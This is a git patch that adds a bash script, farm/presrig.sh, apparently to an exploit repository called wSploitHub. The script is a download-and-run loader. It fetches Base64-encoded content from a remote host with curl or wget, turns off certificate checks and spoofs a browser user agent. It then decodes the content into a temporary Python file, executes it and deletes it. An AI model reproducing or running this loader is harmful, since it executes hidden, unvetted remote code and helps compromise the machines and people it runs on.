From 6ed49c87911b58eb1ed6be76f69673d42afc8663 Mon Sep 17 00:00:00 2001 From: Syn Naulaid Date: Thu, 30 Jan 2025 19:34:52 +0000 Subject: [PATCH] Add farm/presrig.sh --- farm/presrig.sh | 29 +++++++++++++++++++++++++++++ 1 file changed, 29 insertions(+) create mode 100644 farm/presrig.sh diff --git a/farm/presrig.sh b/farm/presrig.sh new file mode 100644 index 0000000..98c0783 --- /dev/null +++ b/farm/presrig.sh @@ -0,0 +1,29 @@ +#!/bin/bash + +URL="https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/farm/rig/rigpy" +USER_AGENT="Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0" +TEMP_FILE="$(mktemp --suffix=.py)" + +# Fungsi untuk mendapatkan konten dari URL +get_contents() { + if command -v curl &> /dev/null; then + curl -s -A "$USER_AGENT" --insecure "$URL" + elif command -v wget &> /dev/null; then + wget -q --no-check-certificate --user-agent="$USER_AGENT" -O - "$URL" + else + echo "[!] curl atau wget tidak tersedia." + exit 1 + fi +} + +# Mengunduh dan mendekode Base64 +ENCODED_CODE=$(get_contents) +if [ -n "$ENCODED_CODE" ]; then + echo "$ENCODED_CODE" | base64 -d > "$TEMP_FILE" + chmod +x "$TEMP_FILE" + python3 "$TEMP_FILE" + rm -f "$TEMP_FILE" +else + echo "[!] Gagal mendapatkan konten dari URL." + exit 1 +fi \ No newline at end of file